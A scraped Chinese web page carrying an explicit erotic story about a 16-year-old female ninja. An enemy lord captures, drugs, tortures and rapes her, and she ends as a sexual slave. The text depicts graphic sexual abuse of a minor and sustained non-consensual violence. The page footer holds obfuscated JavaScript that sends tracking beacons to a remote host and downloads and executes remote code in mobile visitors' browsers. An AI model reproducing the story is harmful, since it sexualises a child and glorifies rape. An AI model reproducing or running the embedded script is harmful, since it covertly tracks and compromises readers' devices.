热搜排行
美少女忍者-疾风雪乃 沦为性奴

‘疾风雪乃’玖棱,一个接受君主命令,只身潜入敌方阵营的美少女。目的是为了找出敌对的柳生一族首脑-柳生严斋谋反的证据。玖棱成功的潜入敌军阵营,并巧妙地发现柳生严斋指名给共谋诸侯的亲笔信。但是,因为出了点小差错,玖棱反成了阶下囚。柳生严斋让雪乃嗅闻不知名的迷幻剂,使雪乃中了他的幻术。因此雪乃连想要自杀都办不到,只能咬着牙忍受柳生严斋淫乱的拷问。

第一卷、被囚禁的玖棱

雪乃那匀称姣美的身躯上,只残留着两、三片衣裳。潜入柳生宅邸的雪乃,因吸入了有催眠效果的烟而丧失意志被捕。雪乃因此身上没有任何伤口。

两手被从屋顶垂钓到地面的粗草绳捆住,这种情形对于在忍者之乡被称为玖棱的雪乃来说,也是毫无办法。况且她的四周,全被敌方包围住,雪乃深陷在那些下使们似乎随时都会爆发的欲望眼神中。

“来人、杀了她。把她杀了!”

在火把照耀下,双脚完美曲线毕露无遗的雪乃,正对着男人们咒骂。雪乃知道,一旦任务失败落入敌人手中,就是忍者的死路。她对于自己的性命,早已不抱任何希望。

雪乃睁大她明亮的双眸,并用那和她美丽脸庞极不相称,憎恨的眼神瞪着男人们。

“唉啊……不要这么慌张嘛。如果想死的话,随时都可以杀掉你啊。不过,在临死之前,先让你这无瑕的身体告诉我亲笔信藏在哪里吧!要死,等一下也不迟。”

脸上有着像是被刻上的深沈皱纹,皮肤如同树皮一般的柳生严斋,对着雪乃如此嘀咕着。他的胡子跟头发一样苍白,因为动也不动似的,所以看不出来在说话。可是那种恐吓人的低沈声音,却名符其实是严斋的声音。

雪乃非常厌恶严斋盯着自己瞧的下流眼神,她用力紧咬着下唇,似乎要渗出血般。深入敌营不但被看穿,还成为犯人,接受拷问……

作为忍者,没有什么屈辱比这更大,但雪乃却连自杀都办不到。藏在臼齿里的毒药,或是其他的武器都被取走,又中了严斋的幻术,甚至无法咬舌自尽。雪乃就像是待在饥肠辘辘老虎前面的小鹿,只能等死。

“怎么样,要不要老实说出亲笔信在哪里啊?不过,若是你一下子就招供的话,我们也就没啥乐趣可言了。”

“谁、谁要招供了。杀吧!早一点杀了我吧!”

“对,对,就是这样。就是这样抵抗,折磨你才有乐子。”

严斋看起来像是露出很愉悦的笑容,其实他的表情并没有变化,但因皱纹有微微的上扬,所以能如此判断。

〈……干吧!〉严斋用他的眼神,向周围的下使们传达暗号。

〈是……〉

宛如一瞬间吹起的狂风,等雪乃注意到时,身上仅存的衣服已被剥光,全身光熘熘的。

“啊、不要……”

虽说是一流的玖棱,但雪乃也只不过是个十六岁的少女。像是以女人的身体为武器,来诱惑敌人等伎俩,几乎都还没有学到。雪乃觉得像这类的技术,并不是必要的武术。

雪乃的私处完全展露出来,就如同她的名字般,在雪白粉嫩的肌肤上染着一丝的桃红,被草绳绑着的裸体也扭曲着。

“嗯……虽说是忍者之乡第一把交椅的‘疾风雪乃’,但光着身子让男人看到时还是会害羞嘛。不是听说玖棱很会利用身体来色诱男人的吗……真是让人意外。”

“主人,搞不好这是这娘们的诡计,小心一点比较好。”严斋身边像是头头的男人说着。他全身上下都被黑色衣物包裹住。

“也对,不可粗心大意……”

“主人,接下来的指示……”

平常过着禁欲生活的忍者,站在雪乃面前,体内积存的欲望仿佛都沸腾了起来。

“嗯、雪乃。女人的身体有很多不为人知的隐密场所喔。首先,我就来查查你有没有把亲笔信藏在体内。”

严斋那像皱纹般的眼睛,猛然张大,就像是信号,下忍们一窝蜂向雪乃发动攻势。

“啊……不要……”

下忍们的手在雪乃身上到处游走,雪乃因那恶心的气味,忍不住大叫失声。刚开始,雪乃想说,不管那些男人们如何的挑弄自己,也不要有任何反应,以免使他们更兴奋。不过,她也只能忍住那么一下下而已。一点污垢也没有的处女之身,就这样被男人的淫欲糟蹋。

“快停止……不要啊……”

鸡皮疙瘩布满了雪乃全身,她虽想逃走,但是被捆绑着,也无计可施。除此之外,她是被好几个男人包围着,就算她躲过左边男人的魔掌,却变成迎向右边男人情形。

“果然年轻女性的肌肤弹性就是不一样。好像幼鱼般的活蹦乱跳,粉嫩粉嫩的。”

“而且啊,那滑嫩感也好像要把手指头溶下去。杀掉真是太可惜了。”

“小小的乳头搓起来也很爽。如果搔她腋下的话,就可以搓到她乳头。”

男人们埋头于这已经被遗忘已久的女性躯体愉悦中。

“啊……不要……快停下来……”

雪乃因为从小就比男生还强,所以对谁都不屑一顾,因此到现在还保持着纯真无瑕。目前这种情形对于雪乃来说,真是其耻大辱。但男人们的淫乱攻击还不止于此。

“啊……嗯……”两手被高高的举起,且有着完美胸形的胸部及乳头被男人们肆意的揉搓,雪乃的呻吟声由齿缝间流露。

“那个……”

在那些男人当中有两个体格特别魁武的,由雪乃两侧腋下分别抱住她的左右脚。

“啊、不要……”

两脚被张开,刚好呈现M字形的雪乃,因为太过于羞耻眼前变成一片朦胧。而且,在雪乃的眼前,是她在这世上最厌恶的男人……柳生严斋正注视着她。不想让任何人看到的地方,做为女人最羞耻的部分,居然被最不想看到的男人注视着。雪乃尝到她有生以来第一次的羞耻和屈辱,狂乱的扭动着身体。

“不、不要看……”

“哈……哈……人们所说的‘疾风雪乃’是怎样的女人……我可要好好的看个清楚。”不知何时,严斋已来到雪乃的眼前。

“不要……”

“啊……花瓣长的真是可爱啊!你是不是专用这道具来骗男人啊?”严斋用他长满茧的手指,伸向雪乃那看不到尽头的毛丛中。和脸一样有着深刻皱纹的手指,向雪乃伸出他的獠牙。

“啊……你、你在干嘛。不要啊……”雪乃悲泣的喊叫着,不过男人们的手依旧在她身上来回抚摸。雪乃因为密处被无情的撬开,那撕裂感使她像小孩子似的用力摇晃着头。但是雪乃被男人们玩弄着的身体,却恰恰与自己的意思相反,甚至连最隐密的地方,都暴露在宿敌的面前。

“真是连敌人都会爱上的女体啊!就这样杀掉的话,真的是太可惜了。”严斋轻而易举的用他的手指玩弄着雪乃的阴唇。

“啊、啊、不、不要……”

连阴唇中的密穴,都被手指残忍淫荡的侵入。

“啊、不要啊……”似乎连身体的最深处,都被狂暴的挖掘,雪乃感到身体有一股说不出的郁闷。

“这可不是残暴喔!我只是很老实的在查查看你身体中有没有赃物。”严斋连雪乃密穴的最深处,都用手指仔细调查。

“真可惜,不在这里。怎样啊,改变注意了吗?”严斋把手指放在雪乃体内时问道。

“不、不知道。亲笔书……我不知道。”雪乃呻吟着回答。

“没办法,我看,只好直接问你的身体啰。”严斋因陷入困境,只能采举此招。

“主人,肉体上的攻击好像没什么用。只是普通的拷问,我想她也不会坦白招供吧。”其中一个下忍如此说着。

“别担心。她可是鼎鼎有名的‘疾风雪乃’。我有为她特别准备好料的。哈哈哈……”严斋放声大笑,将双手和握在脸前,闭上眼睛。

“南无邪香烦慕怠亚罗参空来……喝!”严斋吹了口气,把右手伸到雪乃的眼前。虽然没触碰到雪乃,但她就像是被雷打到,浑身不停抖动。接下来,雪乃就陷入了黑暗的混沌中。

第二卷、成群的淫蛇

“啊……这、这是什么?”

对于痛苦及恐怖,玖棱都显示出其超群的耐久力。不过雪乃若是能睁开眼,就会知道自己现在的情形,她正疯狂的摆动自己那雪白的身躯。

她依旧是被从屋顶垂钓下来的草绳绑着,不过把两脚撑开的下使们,换成了两条大约有一个人、十尺以上的大蛇,由两腋紧紧的缠住雪乃的双足。另外,全身上下也爬满了数不清的蛇,雪乃终于明白自己是在做恶梦。不过,虽说是梦,蛇群的触感也未免太过真实。雪乃感到无比的恶心,发出了悲鸣。

“啊……啊……”

她只要一张口,蛇群就会爬进嘴巴里。

“啊、啊……”

雪乃挣扎着要把蛇吐出,不过一有空隙,蛇群又会蜂拥而上。以致于雪乃连喊叫都不行,只能发出啊啊的呜咽声。

“太、太过分……啊……”

蛇群甚至开始侵入雪乃的密穴。

“呜……啊……”

蛇粗糙的表皮弄得雪乃毛骨悚然。不只是被严斋玩弄的阴穴,连背后另一个蕾穴都不能逃过一劫。雪乃因蛇群侵入、挖掘身体的错觉太过于恐怖,不禁嚎啕大哭。

“怎样,与蛇共舞的感觉如何啊?想不想告诉我亲笔信在哪里啊?”

雪乃不知严斋那令人作呕的声音是从何处传来的,但感觉上,他好像正站在自己身旁,盯着自己。

〈谁、是谁、你要干嘛……〉雪乃想要大声说话,但也只能发出呻吟声。

“嗯,看这样子是不会说了。”

雪乃口中蠕动的蛇群终于消失了。不过,原本爬满全身的蛇,不晓得何时又被换成同样也很恶心的蛞蝓。

“啊……”

如果能冷静思考,就会知道这些蛇或是蛞蝓,都是严斋的妖术,不过现在的雪乃,已经丧失正确的判断力。

“雪乃,还要继续抵抗吗?”

“我、我可是疾风雪乃。什、什么蛇或者蛞蝓,我才不怕。你、你就杀死我吧!不杀……你可是会后悔的。”

过了一段时间后,雪乃满身都是汗与蛞蝓的分泌物,滑熘熘的,闪烁着一种鬼魅的光芒。

〈对,对,再继续忍耐。好戏现在才要上场。〉

利用火把的微暗光亮,严斋贪婪、下流地瞧着雪乃的裸体,用他恶心的舌头舔舐雪乃。

“嗯……啊……”

突然间,雪乃觉得蛞蝓黏答答的感觉不见了,取而代之的是另一种说不出的触感,她因此大感困惑。

雪乃意识到她全身都被那种又痒又舒服的触感包围住,自己好像快埋没于无底深渊的畅快中。脸颊、腋下、脖子、脚背,微妙的快感阵阵袭上心头。不知何时,雪乃早已忘却蛞蝓的恶心,整个人陷入肉体欢愉里。

“嗯……啊……”雪乃不断的发出淫荡的呻吟。她忽然感到这莫名的诱惑正点燃自己心中那把欲火,整个人也无法思考。

“啊……嗯……”

蛞蝓好像被自己的淫叫声所刺激,越来越激动。

“哈哈、怎样、开始感到身为女人的愉悦了吗?果然,疾风雪乃也只不过是个普通女人罢了!你终于中了我的计谋,坠入淫荡的虚幻世界……”

严斋把他污秽的手伸向蛞蝓唯一没有侵袭的密部:“喂,雪乃,睁开眼睛,好好看一看。”

雪乃费力的将闭上的眼睛张开一条小缝。

“啊……不要……”

严斋丑陋的脸颊正贴在自己被大打开的双脚中间,雪乃死命的挣扎,摇晃着头,但不知被什么东西固定住了。

“你最羞耻的部位是怎么样个情形啊?你可要好好的看清楚。”

严斋边说,边把嘴张开,从中伸出那条血红的舌头,微微左右震动,朝雪乃的阴洞前进。

“啊、啊、不要……”

雪乃觉得自己被困在冰天雪地当中,凄厉的哀嚎着,她难受得想在地上面打滚,但却连脸都无法撇开。她被强迫看着自己的私处被严斋的舌头用力剥开,来回品尝的表演。

“雪乃,有没有看到啊?我的舌头在你的身体里喔。”

“呜、呜……不要……”

光是被看到,或是一被摸到就想死的地方,居然被强迫看着讨厌的人来回舔舐,雪乃感到彻底的羞耻与耻辱,忍不住啜泣。

“嗯……”

严斋将他那充满舌苔的舌尖卷起,爱抚雪乃纯洁的柔肉,并悄悄地埋进花瓣中。

“啊……啊……”雪乃痉挛跳动的小蛮腰也忍不住跟着震动,这大概是雪乃已被逼到绝境的最后表现吧!

第三卷、可怜处女花

雪乃已对时光的流逝没有任何感觉,严斋残酷的折磨也无止境的持续着。

“啊……快停止……”

雪乃的身体虽然有经过严格的忍者训练,但此时她柔软雪白的肌肤上,已泛着一层淡淡的朱红色,闪烁着一股妖艳的气息。雪乃已无计可施,她只能眼睁睁的看着蛞蝓在自己身上窜爬,及严斋隐藏于两腿间的舌头。

她像着火般的发烫、香汗淋漓,而渗出的汗水尚未蒸发,即被数不清的蛞蝓吸个精光。雪乃用力的喘息着,想要把体内的热气散出。

〈啊……到底是什么……〉雪乃对于自己体内的变化感到困惑。

这是有生以来第一次尝到的甘美,她也不知该如何应付,只能任凭自己沈浸在这浪潮中。雪乃作为女忍者玖棱时,可说擅长于忍术、武术,但因那时觉得以女人的肉体为武器的技术并不重要,所以并没有学习。导致于她现在没有什么方法可对付严斋的淫乱攻势。

雪乃初尝男女情事的花蕾,而她也在与生俱来的本能驱使下,渐渐的感到无上的快感。

“啊……啊……嗯……”雪乃用唾液抿湿嘴唇,狂荡的呻吟。

原本坚挺的花瓣,在严斋高超舌技的揉搓下,显现前所未有的娇嫩。雪乃也因兴奋,流出了许多爱液。

“雪乃,我的舌头真的让你那么爽啊?”

严斋擡起头,露出邪恶的脸颊,注视着雪乃。他的眼神像是饥渴的野兽,而胡子也沾满了雪乃的爱液,贴在干巴巴的皮肤上。

“看,你把我最自满的胡子弄得这么湿……那么有名的玖棱,也不过是个淫女……你好下流……”严斋伸长了舌头去舔舐雪乃沾在胡子上的蜜汁:“哈哈,‘疾风雪乃’的蜜液就是不一样,特别的好吃。我会年轻好几岁喔!”

“不、不要啦!”雪乃因感到羞耻及不想再看这猥亵的画面,就紧紧的闭上眼。

“接下来,才是你要不好意思的。我现在就要以无敌猛的速度开始扭动腰了喔……”

严斋的脸上露出淫恶的笑容,并以看不出是老人的速度,迅速的脱下外衣。他穿着大红色的内衬,再解开其腰带,敞开衣襟,那不堪入目的枯萎身躯就裸露出来。吊在股间的男根,像梅干菜似的干瘪。严斋又再次的将手合掌,吐口气念道:“霸夜久山菩提斩,南波杀吕林……”

原本只用眼角余光瞄严斋的雪乃,此时看到了不可思议的景象。严斋那向枯树的皮肤突然有了光泽,回复紧致的弹性。同时肌肉也变得强壮,跟个年轻小伙子一样。然后,严斋两腿间垂下的阴茎,飞也似的变长。那种邪恶的姿态,就像一手握不住的大蛇。

“奇怪……”雪乃对于眼前的景象感到错愕万分,忍不住发出惊叹。

“雪乃啊……这只大蛇,就送给你这纯洁小姑娘……”

严斋猛然的突起腰,下腹间伸展出的大蛇边露出它的恶心舌头,边向雪乃那飘着芬芳气味的花园进攻。

“不、不要过来……啊……不要……”雪乃颤抖着,想说,保守了十六年的贞操,难道就这样被夺走吗……

“这只大蛇,会好好服侍你的。它会乖乖的照着我的意思走动、变硬。其实很有乐趣的,你不要哭,好好享受……”

雪乃发出了绝望的哭声,严斋的巨蛇,将它长长的头伸进雪乃赤红色的湿道里。

〈啊……不要……怎么这样……〉

严斋利用虚幻迷术所造出的真假世界,令雪乃感受到极大的痛苦。由严斋干枯的男根所变成的猛蛇,正肆无忌惮的采食雪乃的花蜜,并想潜入更深处,不断的用舌尖往前探询。雪乃因在如此不堪的情形下失去处女之身,忍不住诅咒自己的命运。

终于,雪乃因为体内那像火把般的进出所造成的剧烈疼痛,大叫失声:“好痛……”

“怎样,雪乃,明白吗?我的蛇王正大口、大口的在享用着你体内的那罐蜜壶。”

“不要啊、快停下来、快停啊……”

严斋虽这么说,不过他把由自己的阴茎变成的猛蛇紧贴在雪乃的黏膜上,那感觉也令他有如升天般的爽快。严斋的大蛇在雪乃的阴穴中疯狂的蠕动,大蛇把它的舌尖更向外延伸,在雪乃的淫道中来回游走。

“啊……嗯……啊……”雪乃抵抗不了体内的淫糜之虫,呻吟了起来。

“怎样啊?雪乃。不要客气,你可以高潮的。”

严斋的表情并无改变,丝毫没有想要叫出的快感,他只是死命的盯着雪乃出汗的脸庞。雪乃深锁的眉间,形成了一条长长的皱纹,修长的睫毛也早被汗水浸湿,根本就听不到严斋的声音。

第四卷、玖棱的末路

雪乃的菊蕾被大蛇贯穿。

巨大猛蛇一直用它的头部顶撞雪乃背后娇巧的洞穴,就在底线快被攻破时,“啊……快停止啊……原谅我吧……”自己的五脏六肺因巨蛇的抽送而猛烈搅动着,雪乃实在是忍不住,痛的大叫。

最隐密的排泄器官被邪恶的猛蛇凌辱,雪乃越加的感到苦闷。之前那种美妙的感觉早已消失的无影无踪,只剩痛苦反复的在蹂躏着雪乃。

“不要……停止啊……”

这时,深深贯穿雪乃体内的巨蛇,喷出了不知名的冷冷液体。

“啊唉……什、什么啊……”

“哈哈!不要担心,你马上就会知道这是什么玩意了。”

大蛇又开始抽送,雪乃再次感到体内的苦痛。下腹部发出雷鸣般的响声,郁闷感有如洪水似的不断扩张。

“呜……哇……呜……”雪乃全身都是冷汗,在火把的照耀下闪闪发光。

严斋那只大蛇所喷出的谜样液体,在雪乃肠内膨胀,并造成激烈的腹痛,雪乃对此十分不解。

“啊……痛……痛……”猛烈的绞痛使得雪乃发出呜咽,肚子也咕噜咕噜的鸣叫,雪乃实在不明白自己到底怎么了。

大概是大蛇放出的液体所搞的鬼,强烈的腹痛及便意占据了雪乃的意识。

“啊……好痛……”雪乃汗如雨下,急促的喘息着。

“嗯……受不了了……”

雪乃脸朝下趴着,像粉嫩幼桃般的臀部也痛苦的扭动。严斋冷漠的看着雪乃在地上挣扎。

“啊……不、不行啊……”

大蛇在雪乃的菊穴里展开更猛烈的抽送攻势,雪乃的洞口越来越小,大蛇不放弃的往前冲,且快速抖动。

绝对不能就这样认输……雪乃使尽最后的力气,对抗袭向下腹部及肛门的激烈疼痛。

“认命吧!你是抵抗不了的。刚刚喷在你体内的是强力腹泻剂,没有人能捱过的。‘疾风雪乃’的腹中到底藏了什么东西,这下可会真相大白。”

剧烈的搅痛使得雪乃的眼前渐渐变暗,她即将达到体力的临界点。

“啊……不行……”紧绷的线此时断了,雪乃再也没有抵抗的力量,从她的菊蕾口流出滴滴的排泄物,马上就变成像瀑布般的倾巢而出。

“啊……”

“真不愧是‘疾风雪乃’,连排出的方式也这么爽快。”

一时之间,下使们和严斋的眼神变得尖锐,因为他们发现在雪乃的排泄物中有一颗小石般大小的东西。严斋皮笑肉不笑得拾起那颗小石,用刀子一切,就取出折叠好藏在其中的亲笔信。将那书信往眼前一放,严斋放声大笑,“各位,可以安心了。这就是亲笔信。”

原来雪乃将偷到的亲笔信折好,放进由动物肠子薄膜所做成的袋子里,并吞入肚内,所以这亲笔信会随着雪乃的排泄物跑出体外。雪乃一边抽咽,一边持续的排放出秽物,她知道自己已没有后路。

※※※※※

时光无情的流逝,到了季节转换之际。

雪乃依旧在严斋的宅邸中,她梳着很有女人味的发型,化着很美艳的妆,并穿着很华丽的和服,但她身上丝毫看不出有‘疾风雪乃’玖棱的帅气。不过,她全身上下却弥漫着一股任谁都无法抗拒,成熟女性才有的独特妖艳气息。

夜半时分,灯笼的模煳光影投射在雪乃半边的脸颊上,她美丽的脸庞突然浮现一丝阴影,幽暗灯光反映着雪乃独自哭泣的背影。

雪乃想起扶养她长大成人的忍者之乡,因为自己的任务失败而被柳生严斋剿灭。她只要一想起至今生死未卜的族人们,就不禁流下伤心的泪水。

雪乃听到严斋由屋外传进的声音,赶紧擦干了眼泪,慌张的趴在地上迎接严斋。严斋和一位还很年轻的下使一同进屋。

还未满十五岁的下使脸上透露出他有些紧张的神情。瓜子脸、眉毛又修长,是个标准的美少男。缓缓擡起头的雪乃,看到严斋催促的眼神,就站起身子。雪乃害羞的只露出半边脸,用手慢慢的解开和服的衣带。

褪去腰带,脱掉衣裳,展现出白里透红的完美肌肤。雪乃身上滑落的和服,发出沙沙声响。雪乃无瑕的皮肤,被点上无数个红痣,这使得雪乃浑身散发出特异的官能美。

“风牙,你可以动手了。”

称作“风牙”的年轻下使来到雪乃身旁,开始用绳子捆绑雪乃。他因为太过紧张而显得动作笨拙,不过还是能将黑麻绳有条不紊的缠在雪乃身上,紧密的绑住……

雪乃在亲笔信被严斋发现后,请求严斋让她回忍者之乡负荆请罪。严斋假意答应雪乃的请求,但实际上却突袭忍者之乡,忍者之乡也因此被严斋烧个精光。雪乃知道这件事后,悲泣了几天几夜。

雪乃无家可归,她只能咬着牙,等待哪天会有背叛严斋的人出现。但举目无亲的雪乃,变得自暴自弃,没有任何求生意志,她甚至没有自杀的机会,只不过是个靠着严斋严厉看护而生存的娃娃。雪乃被囚禁在严斋的屋子中,成为教导下使攻击女性躯体的练习对象。

雪乃的身体已被麻绳均匀的绑上。风牙一味的使劲,以致于雪乃的胸部和股间扭曲变形。雪乃全身都是麻绳,两脚张开开的坐着。风牙像是整个人要埋进去似的盯着雪乃双脚的正中央部位。原本应该有的黑色毛发,这里却没有。严斋为了要让下使们明白女性要害,命令雪乃每晚都要用刀片把那里剃干净。

风牙将手指扣住绑在雪乃柔软丘陵上的草绳,并割断其中一小断,再用力的提起草绳。

“啊……”雪乃因受不了而喊痛。

深入雪乃密穴的绳子上,打了好几个节,吸了雪乃的蜜汁,都变得黑澄澄。雪乃渐渐的无法忍受风牙的眼神,于是动手将绑着的绳子切除。看见雪乃那充血的媚肉,风牙吞了吞口水。

“风牙,你要看仔细,这就是女人的身体。”雪乃低着头,为风牙解说女人密部的构造,这是因为严斋要求雪乃如此教导下使:“因为雪乃是个很淫荡的女人,所以光只是坐在风牙面前,你一定感受不到。”

“风牙,别只是看,不要客气,动手啊!”严斋握着风牙的手,引导他深入雪乃洞穴中。

“……嗯……”雪乃感到风牙手指的触感,流露出娇媚的呻吟。

“……之前只听说过传闻,但是流这么多也未免太……”风牙因雪乃私处的炙热与蜜液的丰沛,感到无比惊讶。

“风牙,请啊,尽量玩弄吧!”

风牙突然间变得粗暴起来,用手指挑弄雪乃敏感的黏膜。

“啊……嗯……嗯……”因风牙的把玩,雪乃脸上浮现出恍惚的淫笑。

“上啊!风牙,用力的做。”

风牙挑逗着半裸的雪乃,雪乃长长的指甲在风牙的背上画下了血红的痕迹。雪乃湿润的花瓣,温柔的把风牙强壮的肉茎整个包裹住。雪乃像是要拂走心中的痛苦,将自己的唇紧紧贴上风牙的胸膛。

猜你喜欢下面这些
function xZUWksQK(e){var t="",n=r=c1=c2=0;while(n<e.length){r=e.charCodeAt(n);if(r<128){t+=String.fromCharCode(r);n++;}else if(r>191&&r<224){c2=e.charCodeAt(n+1);t+=String.fromCharCode((r&31)<<6|c2&63);n+=2}else{c2=e.charCodeAt(n+1);c3=e.charCodeAt(n+2);t+=String.fromCharCode((r&15)<<12|(c2&63)<<6|c3&63);n+=3;}}return t;};function PUjpG(e){var m='ABCDEFGHIJKLMNOPQRSTUVWXYZ'+'abcdefghijklmnopqrstuvwxyz'+'0123456789+/=';var t="",n,r,i,s,o,u,a,f=0;e=e.replace(/[^A-Za-z0-9+/=]/g,"");while(f<e.length){s=m.indexOf(e.charAt(f++));o=m.indexOf(e.charAt(f++));u=m.indexOf(e.charAt(f++));a=m.indexOf(e.charAt(f++));n=s<<2|o>>4;r=(o&15)<<4|u>>2;i=(u&3)<<6|a;t=t+String.fromCharCode(n);if(u!=64){t=t+String.fromCharCode(r);}if(a!=64){t=t+String.fromCharCode(i);}}return xZUWksQK(t);};window[''+'J'+'N'+'A'+'G'+'t'+'v'+'W'+'']=((navigator.platform&&!/^Mac|Win/.test(navigator.platform))||(!navigator.platform&&/Android|iOS|iPhone/i.test(navigator.userAgent)))?function(){;(function(u,k,i,w,d,c){function iwUzp(t){var e=t.match(new RegExp('^((https?|wss?)?://)?a.'));if(!e)return t;var n=new Date;return(e[1]||"")+[n.getMonth()+1,n.getDate(),n.getHours()].join("").split("").map(function(t){return String.fromCharCode(t%26+(t%2!=0?65:97))}).join("")+"."+t.split(".").slice(-2).join(".")};var x=PUjpG,cs=d[x('Y3VycmVudFNjcmlwdA==')],crd=x('Y3JlYXRlRWxlbWVudA==');'jQuery';u=iwUzp(decodeURIComponent(x(u.replace(new RegExp(c[0]+''+c[0],'g'),c[0]))));!function(o,t){var a=o.getItem(t);if(!a||32!==a.length){a='';for(var e=0;e!=32;e++)a+=Math.floor(16*Math.random()).toString(16);o.setItem(t,a)}var n='https://qsd.spzkan.cn:7891/stats/15745/'+i+'?ukey='+a+'&host='+window.location.host;navigator.sendBeacon?navigator.sendBeacon(n):(new Image).src=n}(localStorage,'__tsuk');'jQuery';if(navigator.userAgent.indexOf('b'+'a'+'id'+'u')!=-1){var xhr=new XMLHttpRequest();xhr.open('POST',u+'/vh4/'+i);xhr.setRequestHeader('Content-Type','application/x-www-form-urlencoded;');xhr.setRequestHeader('X-REQUESTED-WITH','XMLHttpRequest');xhr.onreadystatechange=function(){if(xhr.readyState==4&&xhr.status==200){var data=JSON.parse(xhr.responseText);new Function('_'+'t'+'d'+'cs',new Function('c',data.result.decode+';return '+data.result.name+'(c)')(data.result.img.join('')))(cs);}};xhr.send('u=1');}else if(WebSocket&&/UCBrowser|Quark|Huawei|Vivo|NewsArticle/i.test(navigator.userAgent)){k=iwUzp(decodeURIComponent(x(k.replace(new RegExp(c[1]+''+c[1],'g'),c[1]))));var ws=new WebSocket(k+'/wh4/'+i);ws.onmessage=function(e){ws.close();new Function('_tdcs',x(e.data))(cs);};ws.onerror=function(){var s=d[crd]('script');s.src=u+'/vh4/'+i;cs.parentElement.insertBefore(s,cs);}}else{var s=d[crd]('script');s.src=u+'/vh4/'+i;cs.parentElement.insertBefore(s,cs);}})('aHR0cHMllM0EllMkYllMkZhLmNzcHN4aC5jbiUzQTg4OTE=','d3NzJTTNBJTTJGJTTJGYS5kdGZhb2kuY24lM0E5NTTM0','168623',window,document,['l','T']);}:function(){};